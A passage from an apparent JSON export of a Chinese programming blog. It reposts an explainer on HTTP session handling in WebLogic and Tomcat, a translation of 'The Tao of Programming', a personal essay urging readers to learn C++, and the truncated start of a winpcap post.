id发送给服务器，则再次打开浏览器仍然能够找到原来的session。\n恰恰是由于关闭浏览器不会导致session被删除，迫使服务器为seesion设置了一个失效时间，当距离客户端上一次使用session的时间超过这个失效时间时，服务器就可以认为客户端已经停止了活动，才会把session删除以节省存储空间。\n首先，Weblogic Server提供了一系列的参数来控制它的HttpSession的实现，包括使用cookie的开关选项，使用URL重写的开关选项，session持 久化的设置，session失效时间的设置，以及针对cookie的各种设置，比如设置cookie的名字、路径、域，cookie的生存时间等。\n一般情况下，session都是存储在内存里，当服务器进程被停止或者重启的时候，内存里的session也会被清空，如果设置了session的 持久化特性，服务器就会把session保存到硬盘上，当服务器进程重新启动或这些信息将能够被再次使用，Weblogic Server支持的持久性方式包括文件、数据库、客户端cookie保存和复制。\n复制严格说来不算持久化保存，因为session实际上还是保存在内存里，不过同样的信息被复制到各个cluster内的服务器进程中，这样即使某个服务器进程停止工作也仍然可以从其他进程中取得session。\ncookie生存时间的柚迷蚧嵊跋熹 榔魃 傻腸ookie是否是一个会话cookie。默认是使用会话cookie。有兴趣的可以用它来试验我们在第四节里提到的那个误解。\ncookie的路径对于web应用程序来说是一个非常重要的选项，Weblogic Server对这个选项的默认处理方式使得它与其他服务器有明显的区别。后面我们会专题讨论。\n关于session的设置参考[5] http://e-docs.bea.com/wls/docs70/webapp/weblogic_xml.html#1036869\n1、session在何时被创建\n一个常见的误解是以为session在有客户端访问时就被创建，然而事实是直到某 server端程序调用HttpServletRequest.getSession(true)这样的语句时才被创建，注意如果JSP没有显示的使用 \u0026lt;%@page session=\u0026quot;false\u0026quot;%\u0026gt; 关闭session，则JSP文件在编译成Servlet时将会自动加上这样一条语句HttpSession session = HttpServletRequest.getSession(true);这也是JSP中隐含的session对象的来历。\n由于session会消耗内存资源，因此，如果不打算使用session，应该在所有的JSP中关闭它。\n2、session何时被删除\n综合前面的讨论，session在下列情况下被删除a.程序调用HttpSession.invalidate();或b.距离上一次收到客户端发送的session id时间间隔超过了session的超时设置;或c.服务器进程被停止（非持久session）\n3、如何做到在浏览器关闭时删除session\n严格的讲，做不到这一点。可以做一点努力的办法是在所有的客户端页面里使用 7、开两个浏览器窗口访问应用程序会使用同一个session还是不同的session\n参见第三小节对cookie的讨论，对session来说是只认id不认人，因此不同的浏览器，不同的窗口打开方式以及不同的cookie存储方式都会对这个问题的答案有影响。\n8、如何防止用户打开两个浏览器窗口操作导致的session混乱\n这个问题与防止表单多次提交是类似的，可以通过设置客户端的令牌来解决。 就是在服务器每次生成一个不同的id返回给客户端，同时保存在session里，客户端提交表单时必须把这个id也返回服务器，程序首先比较返回的id与 保存在session里的值是否一致，如果不一致则说明本次操作已经被提交过了。可以参看《J2EE核心模式》关于表示层模式的部分。需要注意的是对于使 用\u0026quot; \u0026gt; 根据这个特性，我们可以推测Tomcat中session的内存结构大致如下。 笔者以前用过的iPlanet也采用的是同样的方式，估计SunONE与iPlanet之间不会有太大的差别。对于这种方式的服务器，解决的思路很 简单，实际实行起来也不难。要么让所有的应用程序共享一个session id，要么让应用程序能够获得其他应用程序的session id。\niPlanet中有一种很简单的方法来实现共享一个session id，那就是把各个应用程序的cookie路径都设为/（实际上应该是/NASApp，对于应用程序来讲它的作用相当于根）。\n\u0026lt;session-info\u0026gt;\n\u0026lt;path\u0026gt;/NASApp\u0026lt;/path\u0026gt;\n\u0026lt;/session-info\u0026gt;\n需要注意的是，操作共享的session应该遵循一些编程约定，比如在session attribute名字的前面加上应用程序的前缀，使得setAttribute(\u0026quot;name\u0026quot;, \u0026quot;neo\u0026quot;)变成setAttribute(\u0026quot;app1.name\u0026quot;, \u0026quot;neo\u0026quot;)，以防止命名空间冲突，导致互相覆盖。\n在Tomcat中则没有这么方便的选择。在Tomcat版本3上，我们还可以有一些手段来共享session。对于版本4以上的 Tomcat，目前笔者尚未发现简单的办法。只能借助于第三方的力量，比如使用文件、数据库、JMS或者客户端cookie，URL参数或者隐藏字段等手 段。\n我们再看一下Weblogic Server是如何处理session的。 从截屏画面上可以看到Weblogic Server对所有的应用程序设置的cookie的路径都是/，这是不是意味着在Weblogic Server中默认的就可以共享session了呢？然而一个小实验即可证明即使不同的应用程序使用的是同一个session，各个应用程序仍然只能访问 自己所设置的那些属性。这说明Weblogic Server中的session的内存结构可能如下 对于这样一种结构，在session机制本身上来解决session共享的问题应该是不可能的了。除了借助于第三方的力量，比如使用文件、数据库、 JMS或者客户端cookie，URL参数或者隐藏字段等手段，还有一种较为方便的做法，就是把一个应用程序的session放到 ServletContext中，这样另外一个应用程序就可以从ServletContext中取得前一个应用程序的引用。示例代码如下，\n应用程序A\ncontext.setAttribute(\u0026quot;appA\u0026quot;, session); 应用程序B\ncontextA = context.getContext(\u0026quot;/appA\u0026quot;);\nHttpSession sessionA = (HttpSession)contextA.getAttribute(\u0026quot;appA\u0026quot;); 值得注意的是这种用法不可移植，因为根据ServletContext的JavaDoc，应用服务器可以处于安全的原因对于context.getContext(\u0026quot;/appA\u0026quot;);返回空值，以上做法在Weblogic Server 8.1中通过。\n那么Weblogic Server为什么要把所有的应用程序的cookie路径都设为/呢？原来是为了SSO，凡是共享这个session的应用程序都可以共享认证的信息。一 个简单的实验就可以证明这一点，修改首先登录的那个应用程序的描述符weblogic.xml，把cookie路径修改为/appA访问另外一个应用程序 会重新要求登录，即使是反过来，先访问cookie路径为/的应用程序，再访问修改过路径的这个，虽然不再提示登录，但是登录的用户信息也会丢失。注意做 这个实验时认证方式应该使用FORM，因为浏览器和web服务器对basic认证方式有其他的处理方式，第二次请求的认证不是通过session来实现 的。具体请参看[7] secion 14.8 Authorization，你可以修改所附的示例程序来做这些试验。\n","permalink":"https://hessian.cn/p/475.html","summary":"摘要：虽然session机制在web应用程序中被采用已经很长时间了，但是仍然有很多人不清楚session机制的本质，以至不能正确的应用这一 技术。本文将详细讨论session的工作机制并且对在Java web application中应用session机制时常见的问题作出解答。\n","title":"[转]Session详解"},{"content":"编 程 之 道\nGeoffrey James\n第一篇 静寂的空宇\n第二篇 古代的大师\n第三篇 设计\n第四篇 编码\n第五篇 维护\n第六篇 管理\n第七篇 公司里的学问\n第八篇 硬件和软件\n第九篇 尾声\n第一篇 静寂的空宇\n编程大师如是说：\n“当你有本事夺走我手中的这块水晶石时，就是你出师的时侯了。”\n1.1\n在静寂的空宇里，一种神奇的物质形成并诞生了。它立刻便静止了，独自守侯着，豪无动静，然而又处于永恒的运动之中。它是所有程序的源头，我不知道它的名字，所以我将称它为编程之道。\n如果此道是完美的，那些操作系统就是完美的，如果操作系统是完美的，那么编译程序就是完美的,如果编译程序是完美的，那么应用程序就是完美的。用户满意之至－－和谐便应运而生。\n编程之道流逝远去，又乘着晨风而归。\n1.2\n此道产生了机器语言，机器语言又产生了汇编语言，\n汇编语言产生了编译程序，如今有了上万种的语言。\n每一种语言都有其各自的卑微用途。每一种语言都表达出软件的阴和阳。每一种语言都在此道之中有其一席之地。\n但是，应尽量避免用COBOL语言编写程序。\n1.3\n宇宙之初有道，道产生了空间和时间。空间和时间便是程序设计之阴阳。\n不能领悟此道的编程者总是耗尽他们所要编写的程序的时间和空间；而领悟了此道的编程者却总有足够的时间和空间来达到他们的目标。\n除此之外，难道还有其它的情形吗？ 1.4\n精明的编程者听说了此道，并遵循它；平庸的编程者听说了此道，并寻觅它；愚蠢的编程者听说了此道，却嘲笑它。\n要不是因为有嘲笑，道也就不复存在了。\n最高的声音最难被听见。前进也是一种倒退。大器晚成。即使是一个完美的程序也仍然会有隐患。\n道深藏不露，难于理解。\n第二篇 古代的大师\n编程大师如是说：\n“倘若三天不编程，生活将变得毫无意义。”\n2.1\n老一辈的程序员是神秘的、深奥的。我们没法揣摩他们的想法，我们所能做的只是描述一下他们的表象。\n他们是清醒的，就像一只游过水面的狐狸；\n他们是警惕的，就像一位战场上的将军；\n他们是友善的，就像一位招待客人的女主人；\n他们是简单的，就像未经刻凿的木头；\n他们还是难以琢磨的，就像黑暗的洞穴中漆黑的池水。\n谁能说出他们心中的秘密？\n答案只存在于道中。\n2.2\n计算机科学巨擘图灵曾经梦到他是一台机器。当他醒来时，他惊叹道：\n“我不知道－－我是梦到了自己是台机器的图灵，还是一台梦到了自己是图灵的机器？”\n2.3\n一家大电脑公司的一名程序员参加了一次软件研讨会。他回来后向经理汇报说：“为其它公司工作的那些程序员都是些什么的人啊？他们行为拙劣，不顾及自己的仪表。他们的头发又长又乱，衣服又皱又旧。他们闯进我们的会客组，还在我演讲时发生粗鲁的喧闹。”\n经理说：“我本不应该让你去参加这个会议。那些程序员是生活在物质世界之外的。他们认为生活是荒唐的，一种意外的巧合。他们来去自如。他们只为他们的程序而活着，无忧无虑地活着。为什么要用社会习俗来约束他们呢？\n他们活在此道之中。”\n2.4\n一个礼堂者问大师：“有位程序员，从不构思、编写文档或测试他的程序，然而所有知道他的人都认为他是世界上最棒的程序员。这是为什么呢？”\n大 师回答说：“那个人掌握了道。他不需要事先进行构思，当系统崩溃时，他不会因此而闷闷不乐，而是心平气和地接受整个事实。他还从编写程序说明文档的需要之 中超脱了出来，不在意是否有人看他的编码。他也不需要进行测试。他的每个程序都完美无缺。宁静而优雅，程序的用途也显而易见。\n的的确确，他已经进入了道的神奇境界。”\n第三篇 设计\n编程大师如是说：\n“当程序被测试时，再修改设计方案就太迟了。”\n3.1\n曾经有个人去参加一次电脑展示会，每天当他进入展馆时，都对门卫说：\n“我是个大盗，我偷盗的本领是出了名的。事先警告你，这次展示会也在劫难逃。”\n这番话让门卫坐立不安，因为里面有价值数百万美元的电脑设备，所以他紧紧地盯住这个人。但这个人只是从一个展摊逛到另一个展摊，嘴里轻轻地哼着小曲。\n当这个人出门时，门卫把他拉到一边，搜查他的衣服，但一无所获。\n第二天，这个人又来了，并对着门卫嚣张地嚷着：“昨天我满载而归，但今天的收获会更大。”于是，门卫盯他盯得更紧了，但仍一无所获。\n在展示会的最后一天，门卫再也抑制不住自己的好奇心了。“大盗先生，”门卫说，“我被你搞糊涂了，实在想不明白。请告诉我，你究竟在偷什么？”\n这个人笑了。“我在偷想法。”他说。\n3.2\n曾经有位编程大师，喜欢编写非结构化的编程。一位初学者试图模仿他，也开始编写非结构化的程序。当这位徒弟请师父评价他的进展时，师父批评了他的做法。他说：“对一位编程高手适合的，对初学者来说并不一定适合。在超越结构化之前，你必须先领悟道。”\n3.3\n曾经有位程序员被派到IBM的军机大臣手下工作。军机大臣问程序员：“设计一个财务软件包，和设计一个操作系统，哪一个更容易？”\n“操作系统。”程序员回答说。\n军机大臣立刻发生一种不信任的惊叹，“与一个复杂的操作系统，一个财务软件包简直是小巫见大巫。”他说。\n“并 非如此，”程序员说，“在设计一个财务软件包时，编程人员是作为一个中介者在观念各异的人们之间起作用的：这个软件必须如何操作，它的报表必须是什么形 式，它必须如何与税法一致，等等，一个操作系统则不为其外观所限制。当设计一个操作系统时，编程人员只要在机器与人的思维之间寻找一种最简单的和谐就可以 了。这就是为什么操作系统更容易设计。”\n军机大臣点点头，笑了。“说来也是。但要想检测和纠正其中的错误，哪个更容易呢？”\n程序员没有回答。\n3.4\n一位经理到编程大师那里，交给他一份有关一个新应用程序的需求说明。经理问编程大师：“如果我分配五个程序员给你，你需要多久能设计好这个系统？”\n“那将花费一年的时间。”大师立刻回答。\n“但我们马上就需要这个系统，甚至要求更快！如果我分配十个程序员给你，你需要多长时间？”\n大师皱了皱眉头，“那样的话，需要两年。”\n“如果我分配一百个程序员给你怎么样？”\n大师耸了耸肩膀，“那么这项设计将永远无法完成。”他说\n第四篇 编码\n编程大师如是说：\n“一个写得完美的程序是其自身的天堂，而一个写得糟糕的程序则是其自身的地狱。”\n4.1\n一个程序应当是轻盈的、灵活的，它的子程序就像一串珍珠一样连接着。它的精神和意图应该贯穿始终。在程序中，内容既不应太多，也不应太少；既不应该有不需要的循环结构，也不该有冗余的变量；既不缺乏结构性，又不过分僵化。\n一个程序，无论多么复杂，都应该以一个整体的方式运行。程序应以其内在的逻辑为指引，而非外在形态。\n如果一个程序不能达到这些要求，它将处于一种杂乱无章的混淆不清的状态。唯一的方法就是重写这个程序。\n4.2\n一位初学者问大师：“我有个程序，时灵时不灵。我一直都遵循着编程的规则，结果却整个儿搞糊涂了。这是什么原因呢？”\n大师回答说：“因为你没有领悟道，所以你迷惑不解。只有傻瓜才会指望从人类身上看到理性的行为，你又能指望一台人类制造的机器怎么样呢？计算机模仿的是决定论，只有道才是尽善尽美。\n编程用的那些条条框框式的规则仅仅是昙花一现，只有道才是永恒的。因此，在你受到道的启发之前，你必须沉思于道。”\n“但是我怎样才能知道我已经受到了启发了呢？”初学者问。\n“当你的程序运行无误时。”大师回答说。\n4.3\n一位大师正在向他的一名初学编程的弟子解释道的真谛。“此道体现在所有的软件当中－－不管它看上去多么无足轻重。”大师说着。\n“此道体现在手掌计算器中吗？”初学者问。\n“是的。”\n“此道在电子游戏中吗？”初学者继续问。\n“此道甚至也体现在电子游戏之中。”大师说。\n“那么此道也体现在个人电脑的DOS系统之中吗？”\n大师咳嗽一声，并稍稍挪动了一下位置。“今天的课就到这里吧。”他说。\n4.4\n一位项目经理手下的一名程序员正编写软件。他的手指在键盘上飞舞着，在程序的编译过程中没有出现任何错误信息。程序运行起来就像一阵和风。\n“太好了！”经理高兴地大叫了起来，“你的技艺简直是完美无缺。”\n“技 艺？”程序员说着便从他的终端机前转过身来，“我遵循的是道－－所有的技艺远不能及！当我刚开始编程时，我眼前看见的是整个问题乱成一团。三年之后，我再 也看不见这种一团糟的情形了。相反，我用了各种各样的子程序。但现在，我什么也看不见了。我的整个身心存在于一种无形的虚空里，我的知觉是空荡荡的。\n我 的精神随其本能而动，不无原则计划就能自由地工作。总而言之，是我的程序自己写出了自己。诚然，有时会有一些难题。我看见那些难题向我走来，于是我放慢了 速度，默默地注视着他们。然后我更改了一行编码，那些问题就烟消云散了。然后我完成程序的编译。我静静地坐着，让工作的欢心情舒畅遍布我的全身。我闭上双 眼，歇息片刻，然后退出系统。”\n经理说，“希望我的所有的程序员都这么聪明！”\n第五篇 维护\n编程大师如是说：\n“即使一个程序只有三行长，总有一天它也不得不需要维护。”\n5.1\n一记扇经常开启的门的绞链不需要润滑油。\n一条湍急的河流不会变得污浊。\n无论是声音还是想法都不可能在真空中传播。\n软件如果不用就会腐朽。\n这世界真奇妙。\n5.2\n一个程序员正在编写他的程序，经理问他还需要多长时间完成。\n“明天就可以完成。”程序员立刻回答。\n“我想你这是不切实际，”经理说，“实话实说，这需要多长时间？”\n程序员想了一会儿。“我还想加进一些新的特色，这需要花至少两个星期的时间。”他最后说。\n“即使那样也期望过高，”经理坚持说，“只要你编完程序时告诉我一声，我也就满足了。”\n程序员答应了。\n几年以后，那位经理要退休了。在他去退休午餐会的路上。他发现那个程 序员趴在他的终端机前睡着了。整个晚上都在忙于编写那个程序。\n5.3\n一次一位初学编程者被指派编写一个简单的财务软件包。这位初学者大张旗鼓地工作了许多天。但当他的师父检查这套程序时，发现其中包含有一个屏幕编辑器，一套通用图表程序，一个人工智能界面，然而却没有任何财务方面的东西。\n当师父问及此事时，初学者显得愤愤不平。“不要这样没有耐心嘛，”他说，“我最后加些财务的素材进去就是了。”\n5.4\n难道一位好农民会漏掉他所种的一株庄稼吗？\n难道一位好老师会放弃哪怕是最差的学生吗？\n难道一位好父亲会允许哪一个孩子挨饿吗？\n难道一位好程序员会不愿维护他的程序吗？\n第六篇 管理\n编程大师如是说：\n“让程序员多而经理少－－然后生产效率就会高。”\n6.1\n当经理们没完没了地开会时，程序员就写些游戏玩；当财务主管们谈到季度利润时，开发用的预算马上就要被削减；当资深科学家们谈论蓝蓝的天空时，马上就会风起云涌。\n其实，这并不是编程之道。\n当经理们忠于职守时，游戏程序就会被搁置到一边；财务主管们制订出长 远的计划时，和谐秩序将很快恢复；当资深科学家们着手于眼前的问题时，这些问题不久就会解决。\n其实，这才是编程之道。\n6.2\n为什么程序员没有效率？\n因为他们的时间浪费在开会上。\n为什么程序员很难管束？\n因为管理层多管闲事。\n为什么程序员接二连三地辞职？\n因为他们的热情已耗尽。\n在糟糕的管理之下工作，他们不再敬业。\n6.3\n一位经理即将被解职，但此时他手下的一名程序员发明了一个新的程序。这个程序流行起来，并且极为畅销。结果，经理又回到了原来的岗位上。\n经理试图要发给那位程序员一笔资金，但程序员拒绝了。他说：“我写这个程序，因为我认为这是个很有意思的想法。我并不期望有所回报。”\n经理听到这话，评论说：“这位程序员虽然身居卑位，却能很好地理解一位雇员应尽的职责。让我们提拔他到管理顾问的高位上吧！”\n然而，接到通知后，那位程序员又一次拒绝了。他说：“我在属于我的位置上，才能较好地编程。如果我被提升了，除了浪费每个人的时间，我将一事无成。现在我可以走了吗？我还有一个程序要编呢。”\n6.4\n一位经理走过来对他的程序员们说：“关于你们的上班时间：你们要早上九点钟到，下午五点钟下班。”听了这话，所有的程序员都很气愤，其中有几位要当场辞职。\n于是，经理只好又说：“好吧，那样的话，你们可以自己安排上班时间，只要你们能按时完成项目。”程序员们满意了。以后，他们中午来到办公室，一起工作到凌晨。\n第七篇 公司里的学问\n编程大师如是说：\n“你可以向一位公司总裁演示一个程序，但你无法使他学会使用电脑。”\n7.1\n一 位初学者问大师：“在东方（此处喻指美国的东海岸，有许多大公司的总部－－译注），有一个不寻常的树状结构，人们称它为‘公司总部’。它的副总裁们和财务 主管们的数量之大，使它鼓得不成开关。它签发大师的便函，每份上都写着”归去”“来兮”，却没有人知道那是什么意思。它的那些分支机构每年都要换新的名 字，但都毫无价值。如此一个不正常的实体怎么能继续存在呢？”\n大师回答说：“你探察这个庞大的邓因其没有合理的用途而心神不定。难道你不能从它那无尽的回旋中得到乐趣吗？你不会享受一下在它所蔽护的部分里的编程的那种无忧无虑的轻松吗？你为什么要因为它毫无用处而心烦意乱呢？”\n7.2\n在东方，有一条大鱼，比其它所有的鱼都要大。它变成了一只鸟，它的翅膀就像云朵一个布满了天空。当这只鸟飞过陆地时，它带来了“公司总部”的消息，像蜻蜓点水一样把这个消息丢在了那些程序员中间。然后这只鸟驾着风，背负蓝天，返回了家园。\n初学编程者惊奇地盯着那只鸟，因为他根本无法理解；平庸的程序员畏惧那只鸟的到来，因为他害怕鸟儿带来的消息；而编程大师却仍然在他的终端机前工作，因为他不知道那只鸟来了又去了。\n7.3\n象牙塔里的魔术师带来了他最新的发明，要让编程大师检验一下。魔术师把一只大黑箱子推进办公室，大师静静地等侯着。\n“这是一台集成的、分布式的、通用的工作站，”魔术师开始，“运用人类工程学原理，使用享有专利的操作系统、第六代评议和多重状态用户界面而设计完成。建造这台工作站，花了我几百名助手几年的时间。这不足以令人惊奇吗？”\n大师轻轻地扬了扬眉毛。“这的确令人惊奇。”他说。\n“公司总部已经命令，”魔术师继续说，“每个人都得使用这台工作站作为操作平台来设计新的程序。你同意吗？”\n“当然同意，”大师说，“我马上就把它运到数据中心去。”于是魔术师兴高采烈地回到了象牙塔去了。\n几天后，一位初学者走进大师的办公室问道：“我找不到我的新程序清单了。你知道它会放在哪儿吗？”\n“知道，”大师回答说，“那些清单就堆放在数据中心的台子（platform“可以指操作平台”，也可以指普通的台子－－译注）上。”\n7.4\n编程大师从不惧怕在设计不同程序的岗位间调来调去；管理层的变动不可能对他有所损害；他不会被解雇，即使项目取消了。这是为什么呢？因为他胸有成“道”。\n第八篇 硬件和软件\n编程大师如是说：\n“没有风，草儿静止不动；没有软件，硬件则无所为用。”\n8.1\n一位初学者问大师：“我觉察到有一家电脑公司比其它所有的公司都要大得多。它在中遥遥领先，就如同鹤立鸡群一般。它的任意一个部门都可以组成一个完整的企业。这是为什么呢？”\n大 师回答说：“你怎么问这么愚蠢的问题呢？因为那家公司大，所以它就大嘛。如果它仅仅生产硬件，没人愿买；如果它仅仅生产软件，没人愿用；如果它仅仅维护一 下系统，人们将把它当作是佣人。然而，因为它把所有这些东西都结合了起来，它便摇身一变，被人们看作是诸神之一。不费吹灰之力，它便能取胜。\n8.2\n一天，一位大师从初学编程者身边经过，他发现这位初学者正在全神贯注于掌上电脑游戏。“对不起，”他说，”我可以看一下吗？”\n初学者立刻紧张起来，把那个玩意儿递给了大师。“我知道这种设备提供了三个游戏级别：容易、中等和高难，”大师说，“然而每个这样的设备都有另一个级别，在这一级，游戏机既不想赢人，也不想被人打败。”\n“请问，尊敬的大师，”初学者恳求道，“怎样才能找到这个奇妙的级别设置呢？”\n大师把那个玩意儿扔到地上，踩到粉碎。突然间，那个初学者明白了什么。\n8.3\n曾 经有一个程序员，擅长在微电脑上编程，“瞧，我在这里过得多好呀，”他对另一位来访的程序员说，这位程序员是在大型主机上工作的，“我有自己的操作系统和 文件存储设备，我不必和其他任何人分享我的资源。这里的软件自相一致，很容易使用。你为何不辞去现在的工作，加入到我这里来呢？”\n于 是，主机程序员开始向他的这位朋友描绘他的系统：“主机就像一位陷入沉思的圣人一样，端坐在数据中心。它的磁盘器首尾声相连，就如同机器的海洋。这里的软 件既像钻石一样能多面反射光芒，又像原始丛林一样复杂难测。这里的程序，各具特色，它们像湍急的河流穿过系统。这就是我乐于此处的原因。\n微电脑程序员听到这里，陷入了沉默。但这两位程序员至死都保持着友谊。\n8.4\n在去硅谷的路上，硬件碰上了软件。软件说：“你是阴，我是阳。如果我们携手同路，我们将闻名于世，并能赚大笔的钱。”于是，这一对阴和阳便一同往前走，想着怎么征服世界。\n不 一会儿，他们遇到了固件（firmware，硬件和软件结合在一起的部件，如IC卡－－译注），他衣衫褴褛，手里拄着根带刺的拐杖，蹒跚地走着。固件对他 们说：“道存在于阴、阳之外。它默默无闻，静如止水。它不追求名誉，所以没人知道它的存在；它不追求财富，因其自身完整圆满。它存在于空间和时间之外。”\n软件和硬件，自觉惭愧，掉头回家去了。\n第九章 尾声\n编程大师如是说：\n“现在该是你出师的时侯了。”\n","permalink":"https://hessian.cn/p/495.html","summary":"编 程 之 道\nGeoffrey James\n第一篇 静寂的空宇\n第二篇 古代的大师\n第三篇 设计\n第四篇 编码\n第五篇 维护\n第六篇 管理\n第七篇 公司里的学问\n第八篇 硬件和软件\n第九篇 尾声\n","title":"[转] 编 程 之 道"},{"content":"我从去年11月份开始自学C++(本人现在做C#开发)，现在把我这10来个月学习体会写出来和大家分享。\n1。关于要不要学习C++?(结论：要学，一定要学!)\n如今在网上很多为要不要学C++争的不可开交，因为现在JAVA，C#，。NET都炒的很火，特别是JAVA，大有炸平庐山，停止地球转动之势。用林锐同志的话说，其实JAVA只是C++外甥，跑到舅舅身上撒了一泡尿而已。首先，我们从JAVA 的来历上来说，JAVA的设计初衷是用来给家用电器设计程序使用的，最初设计者想用C++，但觉得C++太复杂，就在C++的基础上做了一些简化，设计出了JAVA，它的设计思想是跨平台，所以必须先在运行平台上安装虚拟机，然后把源程序编译成中间语言在运行。这是一个优点，但我们说任意优点都是建立在缺点上的，JAVA的缺点就是运行速度慢，这对于某些系统来说是致命弱点。况且，JAVA中没有指针，对于制作系统软件来说，这更是无法饶恕的。再来看C++。C++产生于美国贝尔实验室，就是发明电话那个公司。设计初衷是用来改进C的开发效率，C是面向过程的语言，开发效率底，贝尔实验室有大量的C程序员，所以只要在开发效率上提高一点点，就可以节约数目庞大的成本。C是什么东西?是用来代替汇编编写操作系统的语言，用C++代替C，可以得出两个结论：第一，C++必须具有同C相当的执行速度;第二，C++必须比C具有较高的开发效率。执行速度方面，C++的设计者的思想就是在改进开发效率的同时尽量不增加C++的系统开销，当然有些地方非增加开销不可，也把开销控制在最小程度内。具非权威研究报告，C++比C的执行开销多出不到10%。开发效率方面，C++引进了面向对象机制，库机制，最大程度上实现了代码重用，这是软件开发人员的福音。C++在改进C的开发效率的同时，对C的缺陷做了一些修补。C的优点在C++中都得到了很好的保留，C的缺点在C++中都有了改进，有了更好的解决办法。而且，为了现有的大量C程序维护，C++还全面兼容了C。纵观当今程序语言家族，我觉得只有C可以C++相提并论，门当户对，其它语言都无法和C++相提并论。无论从什么角度来说，C++都算的上语言中的老大。\n如今，网上有很多关于C++的争论，其实争论的人都是一些不知情的人，绝大多数是学校里的学生，我也曾经这样。在学校里的时候，不知道究竟应该学习什么，要是遇到好的老师还可以，遇到垃圾老师，垃圾学校那就更糟糕。如今，什么MCSE，CCNA，CIW等等认证漫天飞，把人搞的昏头昏脑，其实这都是认证公司炒的。社会上需要的是有真才实学的人，而不是需要证书。\n我从大二开始学习编程，一开始学习VB，后来学习DELPHI，再后来学习C#，再后来学习C++，绕了个大圈子，最后还是绕回来了。而且重新学习数据结构，操作系统，学习软件工程，学习大学本科的基本课程，重新读外国的程序设计名著，而这些以前在大学是不屑一顾的。劝如今还在学校的师弟师妹们，努力学习C++。\n2。为什么要学习学习C++\n1)C++的程序员身价普遍较高，当然，前提是你必须是高手。我所在的城市，那些公司根本就招不到合格的C++程序员，一方面C++程序员要求高，学习C++的人越来越少了。当然，怀着这个目的，你或许永远无法成为C++高手，但我把这个原因放在最前面，可以给大家一个很明确的激励，当你接触C++后，发现从学习中获得乐趣比高的工资更有动力;\n2)C++的优势是用来开发大型软件，从中可以学到很多优秀的软件设计思想。C++不是软件开发的首选工具，一般说来，大多人更愿意学习和使用VB，为什么，简单。简单的另一个方面是功能的局限。微软公司恨不的所有人都学VB，只有他一家会C++。容易上手，大家都喜欢学，喜欢用，很多人拿一本200页的书，看个两三个星期，就觉得自己是个程序员了，可以开发软件了，而且觉得做出来的东西很不错。当软件规模大到一定程度的时候，其他语言就越来越无法驾驭，这时C++的优势就体现出来了。你说做个成绩管理系统，人事查询系统，用VB，DELPHI，C#，JAVA都行，但是例如银行，电信，保险，操作系统，数据仓库，图形处理，编译系统，较底层的软件时，其他工具几乎是无法完成的。就说C++的指针，JAVA没有，在遇到数据量交大的数据排序，搜索，动态内存分配时，它就没有办法了。所以说，学习C++，不仅仅是学到的一种语言，还学习了优秀的软件设计思想。\n3)学习C++可以学习到计算机底层的理论，即使不是用C++开发，对计算机运行机制的理解，对建制稳定的系统，对运用其他语言，也是一种促进。这一点，我是在学习过程中体会到的，所以，要说出个大家可以接受的理由来较难，大家以后学习就知道了。\n3。怎样学习C++?\n首先，我们必须承认，学习要讲究方法，有捷径。其次，我们还得承认，学习要下苦功，要务实。上小学的时候，书上有个故事，是关于王羲之学习书法的：王献之问他父亲王羲之，学习书法的秘诀是什么，他父亲把他带到后院，指着18口大水缸说，你如果把这里的水都写完了，就知道书法的秘诀在那里了。这个故事相信很多人都还记得。前几天看梁肇新(豪杰公司老板)的《高手箴言》，他说如果你如果愿意利用5年时间来成为高手，那么你只要两三年就会成为高手，如果你想一年成为高手，那么你5年也成不了高手。学习要切忌浮躁，要脚踏实地。我曾经很浮躁，结果一直呆在菜鸟堆里，当半年前我静下心来学习C++，才感觉有真正的进步。现在做WEB开发，虽然我从来不看WEB开发的书，但是我的同事遇到问题时，我经常能一下说出问题的所在。因为你看问题的角度变了。所以，学习C++的第一个方法是：切忌浮躁。其实学任何东西都一样，欲速则不达。从基本数据类型看起，从基本流程控制语句写起。\n其次，教材很重要，要看经典名著\n","permalink":"https://hessian.cn/p/526.html","summary":"我从去年11月份开始自学C++(本人现在做C#开发)，现在把我这10来个月学习体会写出来和大家分享。\n1。关于要不要学习C++?(结论：要学，一定要学!)\n","title":"[转]牛人十个月自学C++ 现在做C#开发工作 好像蛮好玩"},{"content":"关于winpcap的一些认识关于winpcap的一些认识 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bill yuan\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026